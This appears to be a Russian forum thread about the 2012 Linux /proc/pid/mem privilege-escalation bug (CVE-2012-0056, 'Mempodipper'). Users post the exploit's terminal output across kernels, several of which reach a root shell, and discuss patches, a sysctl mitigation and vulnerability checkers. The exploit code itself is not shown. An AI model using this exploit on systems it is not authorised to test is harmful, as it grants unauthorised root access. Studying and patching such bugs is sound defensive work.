[+] Opening parent mem /proc/31729/mem in child.
[+] Sending fd 5 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x2a90.
[+] Calculating su padding.
[+] Seeking to offset 0x2a84.
[+] Executing su with shellcode.
test@naodesu ~/CVE-2012-0056 $ id
uid=1003(test) gid=1003(test) groups=1003(test)
test@naodesu ~/CVE-2012-0056 $ cat /etc/shadow
cat: /etc/shadow: Permission denied
хм.uname -a
Linux 3.1.5 #2 SMP Sat Dec 10 22:58:40 EET 2011 i686 Intel(R) Core(TM)2 Duo CPU E8400 @ 3.00GHz GenuineIntel GNU/Linux./mempodipper
===============================
= Mempodipper =
= by zx2c4 =
= Jan 21, 2012 =
===============================[+] Opening socketpair.
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/10462/mem in child.
[+] Sending fd 5 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[-] Could not resolve /bin/su. Specify the exit@plt function address manually.
[-] Usage: ./mempodipper -o ADDRESS
[-] Example: ./mempodipper -o 0x402178не работает. %-(
после objdump и указания адреса — тоже. пичалька.
bash-4.2$ uname -a
Linux spring.bit.ab.ru 2.6.41.1-1.fc15.i686 #1 SMP Fri Nov 11 21:50:36 UTC 2011 i686 i686 i386 GNU/Linux
bash-4.2$ ./a.out
===============================
= Mempodipper =
= by zx2c4 =
= Jan 21, 2012 =
===============================[+] Opening socketpair.
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/2478/mem in child.
[+] Sending fd 5 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x1734.
[+] Calculating su padding.
[+] Seeking to offset 0x1726.
[+] Executing su with shellcode.
bash-4.2$ id
uid=99(nobody) gid=99(nobody) groups=99(nobody)
[alexander@localhost ~]$ ./mempodipper
===============================
= Mempodipper =
= by zx2c4 =
= Jan 21, 2012 =
===============================[+] Opening socketpair.
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/5212/mem in child.
[+] Sending fd 5 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x1984.
[+] Calculating su padding.
[+] Seeking to offset 0x1962.
[+] Executing su with shellcode.
[alexander@localhost ~]$ whoami
alexander
[alexander@localhost ~]$ uname -r
2.6.39.4-5.1-desktop
[alexander@localhost ~]$ROSA 2011 не работает! :)
На Ubuntu 11.10 x86 с ядром 3.0.0 эксплоит работает
> На Ubuntu 11.10 x86 с ядром 3.0.0 эксплоит работаеттак уже апдейт вышел
> так уже апдейт вышел... с новой дырой в комплекте :)
===============================
= Mempodipper =
= by zx2c4 =
= Jan 21, 2012 =
===============================[+] Opening socketpair.
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/13961/mem in child.
[+] Sending fd 5 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[-] Could not resolve /bin/su. Specify the exit@plt function address manually.
[-] Usage: /tmp/CVE-201209956 -o ADDRESS
[-] Example: /tmp/CVE-201209956 -o 0x402178Не работает на 3.0.4-hardened-r5, другого и не ожидал.
на обычной генте тоже не работает - /bin/su закрыт на чтение
В арче запатчено:/var/abs/core/linux $ cat PKGBUILD |grep CVE-2012-0056
'CVE-2012-0056.patch')
# patch for CVE-2012-0056
patch -p1 -i "${srcdir}/CVE-2012-0056.patch"
Дополнения к новости совсем не радуют.
> Дополнения к новости совсем не радуют.Какие именно? :D
>> Дополнения к новости совсем не радуют.
> Какие именно? :DТо, что вместе с патчем в убунту прилетела новая дыра.
> Дополнения к новости совсем не радуют.Как ни странно, дополнение про Андроид может кого-то и порадовать: очередной иксплоит, чтоб разлочить (вдруг получится?) пошифку... Главное, _терпеть_ и не ставить FOTA (ф*инг обновления "по воздуху"). %) Держаться!
(Хотя с другой стороны, на этих ваших телефонах какое-то 2.6.35+xyz. Когда ещё к нему приспособят...)
Fedora 16.uname -a
Linux notebook.blahblah 3.1.9-1.fc16.i686 #1 SMP Fri Jan 13 17:14:41 UTC 2012 i686 i686 i386 GNU/Linux$ ./a.out
===============================
= Mempodipper =
= by zx2c4 =
= Jan 21, 2012 =
===============================[+] Opening socketpair.
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/4736/mem in child.
[+] Sending fd 5 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x1524.
[+] Calculating su padding.
[+] Seeking to offset 0x1502.
[+] Executing su with shellcode.
[artem@notebook eatme]$ whoami
artemКак-то так, в общем.
Опа. Может поэтому федоровцы и не шевелятся?
Возможно, но вот что есть, то есть. не сработало оно у меня. :)
«Note: Fedora defaults to /proc/sys/kernel/randomize_va_space = 2, which makes
this more difficult to exploit.»
Сколько народу поскачивало эксплойт :DDD Надо бы туда вирусняк затолкать, чтобы веселей было.
> Сколько народу поскачивало эксплойт :DDD Надо бы туда вирусняк затолкать, чтобы веселей
> было.Надо было. А то я зря сидел смотрел что оно делает в виртуалке, думал хоть бэкдур какой в комплекте идёт :(
а почитать исходник не судьбец, видимо.
> а почитать исходник не судьбец, видимо.Читал, но всё равно для собственного спокойствия проверил :)
Неосилила настройку приоритетов репозиториев?
В Gentoo на 3.0.4-hardened-r4 не работает, на 3.0.6-gentoo - работает.
> В Gentoo на 3.0.4-hardened-r4 не работает, на 3.0.6-gentoo - работает.На то он собственно и hardened.
В том его задача.
А кто-нибудь может пояснить зачем вообще нужна поддержка записи в /proc/pid/mem ? Для чего её добавили ? Чтение ещё понятно, для отладки полезная вещь. Но для чего нужен доступ на запись в память другого процесса ?
для scanmem, например.
> для scanmem, например.Ну вот вынести в отдельный sysctl, чтоли. Надо далеко не всем, а потенциально - некислый источник дыр. Вообще, если юзер занят дебагом, защищаться от него довольно тухлое начинание.
> Ну вот вынести в отдельный sysctl, чтоли.новый патч так и делает, тащемта: «Add the "proc_pid_mem" sysctl to control whether or not /proc/pid/mem is allowed to work: 0: disabled, 1: read only, 2: read/write (default).»
ksodete@dev-tester ~/explo $ uname -a
Linux dev-tester 3.1.5-gentoo #8 SMP Sun Jan 22 02:17:33 EET 2012 x86_64 Intel(R) Core(TM)2 Duo CPU E7300 @ 2.66GHz GenuineIntel GNU/Linux
ksodete@dev-tester ~/explo $ whoami
ksodete
ksodete@dev-tester ~/explo $ gcc -o in mempodipper.c
ksodete@dev-tester ~/explo $ ./in
===============================
= Mempodipper =
= by zx2c4 =
= Jan 21, 2012 =
===============================[+] Opening socketpair.
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/12942/mem in child.
[+] Sending fd 5 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Ptracing su to find next instruction without reading binary.
[+] Resolved exit@plt to 0x402298.
[+] Calculating su padding.
[+] Seeking to offset 0x40227d.
[+] Executing su with shellcode.
sh-4.2# whoami
root
sh-4.2# rm -r /te.cpp
sh-4.2#
...
Бл***
Негентушный способ для гентушников. Получилось закрыть дырку. Правда, сделал немного тупо, но ничего, работает.
1. # cd /usr/src/linux
2. nano 2100_proc-mem-handling-fix.patch
3. Копипастинг текста отсюда: http://sources.gentoo.org/viewcvs.py/gentoo-x86/sys-kernel/p...4. ctrl + o
5. # cd fs/proc/
6. # patch ../../2100_proc-mem-handling-fix.patch
7. # make && make modules_install
8. cp arch/<arch>/boot/bzImage /boot/kernel-<version>-gentoo
9. # rebootksodete@dev-tester ~ $ ./in
===============================
= Mempodipper =
= by zx2c4 =
= Jan 21, 2012 =
===============================[+] Opening socketpair.
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/4157/mem in child.
[+] Sending fd 5 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Ptracing su to find next instruction without reading binary.
[+] Resolved exit@plt to 0x402298.
[+] Calculating su padding.
[+] Seeking to offset 0x40227d.
[+] Executing su with shellcode.
ksodete@dev-tester ~ $ whoami
ksodete
ksodete@dev-tester ~ $
что люди только не придумают,лишь бы не использовать hardened-sources
Ой, сори-сори
---6. # patch ../../2100_proc-mem-handling-fix.patch
+++6. # patch -i ../../2100_proc-mem-handling-fix.patch
на RHEL старом ваще не компилится )))2.6.18-8.el5
ругается на pipe2 (заменил на пайп всё равно не работает - висит на чтении)
===============================
= Mempodipper =
= by zx2c4 =
= Jan 21, 2012 =
===============================[+] Ptracing su to find next instruction without reading binary.
[+] Creating ptrace pipe.
[+] Forking ptrace child.
[+] Ptrace_traceme'ing process.
[+] Waiting for ptraced child to give output on syscalls.
---------------скачал под федору эксплоит с использованием не su а gpasswd - тоже не сработал - даже отрубил ASLR
===============================
= Mempodipper =
= by zx2c4 =
= Jan 21, 2012 =
===============================[+] Opening socketpair.
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/3593/mem in child.
[+] Sending fd 6 to parent.
[+] Received fd at 6.
[+] Assigning fd 6 to stderr.
[+] Reading gpasswd for exit@plt.
[+] Resolved exit@plt to 0x8049900.
[+] Calculating gpasswd padding.
[+] Seeking to offset 0x80498f1.
[+] Executing gpasswd with shellcode.
unknown group: 1۰1۰.1ɳ?1�hn/shh//bi��-iR��PS��0gpasswd: Permission denied
во-первых: сказали же: 2.6.39.во-вторых: если
> ругается на pipe2препятствие — лучше никогда ничего не компилируй больше.
>>препятствие — лучше никогда ничего не компилируй больше.спасибо за совет - поэтому я три года не апдейтил редхат )))
вот лучше этим проверьте а не эксплоиты запускайте
http://grsecurity.net/~spender/correct_proc_mem_reproducer.cwrite: Invalid argument
not vulnerable
> вот лучше этим проверьте а не эксплоиты запускайтеа зачем мне этот странный код? как будто я не понял, что делает сплойт, как, зачем и почему. кстати, красиво.
и да, патч-лечилку я себе на 3.1.5 уже бэкпортанул (нет, я не хочу ядро новее).
бэээээээээээ старый либси ))
Вот и у меня подобная ситуация: качать ядро 3.2.x (>70 МБ) через GPRS в 3 кб/с с пингом >5000 мс не хочется, а если после патчинга ядра компьютер не посыпится/сгорит/заговорит_человеческим_голосом, то почему бы и не пропатчить вручную? =)
ну, на 3.1.5 патч просто так не ложится, надо немного знать, что там в ведре творится и подпилить. или просто вкорячить жестокий r/o на /proc/pid/mem (что я и сделал, тащемта, особо не напрягаясь).
<offtop>
Жёстко =)
Я тоже подумывал сделать /proc/pid/mem ридонли, но передумал, авось это чем-то чревато. Если было бы всё так просто, то в качестве решения написали бы в именно ограничение прав на /proc/pid/mem. Тем более, я вообще не знал, что можно было наложить патч на ядро с помощью patch -i file.patch, находясь в папке с файлом, который надо пропатчить. Но так как я люблю тыкать пальцем в небо - сделал так, как и написал в посте 1.174 (или как они нумеруются, не пойму).
</offtop>
> Я тоже подумывал сделать /proc/pid/mem ридонли, но передумал, авось это чем-то чревато.да пофигу, в принципе. то есть, у «средниего юзера» ничего не сломается.
ага, то патч без нового sysctl. для него «чекер» не подходит, там другой принцип закрытия дырки. доверяй только сплойту. %-)
ksodete@dev-tester ~/explo $ gcc -o cp cp.c
ksodete@dev-tester ~/explo $ ./cp
vulnerable
Да, пичяль-пичялюшка-пичялька, и это даже после патчинга /usr/src/linux/fs/proc/base.c
Единственное, что я, тупак в C/C++ и арх. ядра, могу сказать, это "посмотрим, шо будет дальше".
> Да, пичяль-пичялюшка-пичялька, и это даже после патчинга /usr/src/linux/fs/proc/base.csysctl -w kernel.proc_pid_mem=1 сделал? по-умолчанию всё разрешено.
Честно говоря - не делал.
Ответ команды:
# error: "kernel.proc_pid_mem" is an unknown key
если сделал что-то не так - сори, значит просто не понял вопрос.
> Честно говоря — не делал.
> Ответ команды:
> # error: «kernel.proc_pid_mem» is an unknown key
> если сделал что-то не так — сори, значит просто не понял вопрос.или неверно наложил патч (наложил не весь/патч не наложился), или забыл ребутнуться в новое ядро, или я не знаю. %-)
Скорее всего первое, ибо я параноидально, после каждого рекомпилинга ядра, делаю cp arch/<arch>/boot/bzImage в папку /boot с заменой оригинального ядра. Но спасибо за помощь) А то я вообще в линуксах сравнительно недавно, в генту - ещё "недавнее", да и школотятских мозгов на всё не хватает.
доверяй сплойту, не доверяй «чекеру». гентушный патч по логике не такой, как из LKML. так что проверяй именно запуском сплойта.
> доверяй сплойту, не доверяй «чекеру». гентушный патч по логике не такой, как
> из LKML. так что проверяй именно запуском сплойта.Кстати, Вы оказались абсолютно правы =) Дело в том, что я накладывал патч от Линуса Торвальдса — тот самый, от 21-го числа, а не новый, с возможностю выбора трёх вариантов, поэтому и команда не сработала, поэтому и чекер говорит "vulnerable". Тем не менее, как факт, эксплойт уже не срабатывает. Так что это я ступил, сори ^_^"
да ерунда, не всем же ядерными хакерами быть. заработало (точнее, не заработало %-) — и хорошо.а вот некоторым полезно бы не выкладывать «чекеры», которые на самом деле проверяют вовсе не то, что надо.
если интересно — то: гентушный патч делает финт хвостом, разрешая писать не совсем в ту VM, в которую ожидается (в отличие от нового, который тупо право записи отбирает). поэтому «недочекер» и говорит, что "уязвимо": у него выходит записать *в свою же* VM. а вот у сплойта в чужую — уже не выходит, и потому сплойт не работает.
>>а вот некоторым полезно бы не выкладывать «чекеры», которые на самом деле проверяют вовсе не то, что надо.вы сначало на домен в сылке посмотрите потом тут из себя гуру стройте
пс: от вас я пока не увидел ни чекера ни сплоита, ни даже описания работы эксплоита
пс2: представляю как вы на продакшен сервере будете без чекера проверять поддверженность уязвимости, или вы собирались запускать эксплоит О_О ?
> вы сначало на домен в сылке посмотрите потом тут из себя гуру
> стройтеи что я должен увидеть в имени домена? или сразу начинать бить земные поклоны?
> пс: от вас я пока не увидел ни чекера ни сплоита, ни
> даже описания работы эксплоитаа зачем мне повторять то, что уже сделано? подробнейшее же описание есть в блоге автора сплойта; если кто-то не умеет читать по-английски — то ему однозначно описание не нужно.
> пс2: представляю как вы на продакшен сервере будете без чекера проверять поддверженность
> уязвимости, или вы собирались запускать эксплоит О_О ?не только «собрался», но и запускаю. потому что в отличие от тебя я полностью понимаю его код и принцип работы. а вот таких как ты к «продакшену» лучше не допускать, да. во избежание.
>>не только «собрался», но и запускаю.удачи вам ))
> удачи вам ))удача нужна тем, кто совершает шаманские действия не понимая их смысла. я к таким не отношусь.
подскажите пожалуйста как в debian закрыть багу?apt-get install -y systemtap linux-image-$(uname -r)-dbg
выдает ошибку '('
Slackware GNU/Linux kernel-3.0.17 Intel(R) Core(TM)2 Duo CPU
./mempodipper
===============================
= Mempodipper =
= by zx2c4 =
= Jan 21, 2012 =
===============================[+] Ptracing su to find next instruction without reading binary.
[+] Creating ptrace pipe.
[+] Forking ptrace child.
[+] Waiting for ptraced child to give output on syscalls.
[+] Ptrace_traceme'ing process.
[+] Error message written. Single stepping to find address.
[+] Resolved call address to 0x80499e8.
[+] Opening socketpair.
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/2695/mem in child.
[+] Sending fd 6 to parent.
[+] Received fd at 6.
[+] Assigning fd 6 to stderr.
[+] Calculating su padding.
[+] Seeking to offset 0x80499dc.
[+] Executing su with shellcode.
sh-4.1# test
sh-4.1# id
uid=0(root) gid=0(root) groups=0(root)
Я новичок в этом деле. Кто-нибудь, помогите!!! Пытался по всякому с шелкодами и эксплойтами. Не получилось((. Напишите, плиз, какие именно действия надо сделать и какие скрипты запустить. Буду очень благодарен.
ядро: uname -a
Linux localhost.localdomain 2.6.32-220.el6.i686 #1 SMP Tue Dec 6 16:15:40 GMT 2011 i686 i686 i386 GNU/Linux.
Эм... Во-первых, в новости написано:
> Проблема наблюдается, начиная с ядра 2.6.39Во вторых, я так и не пойму, что у тебя в целях? Запустить сплойт? А зачем?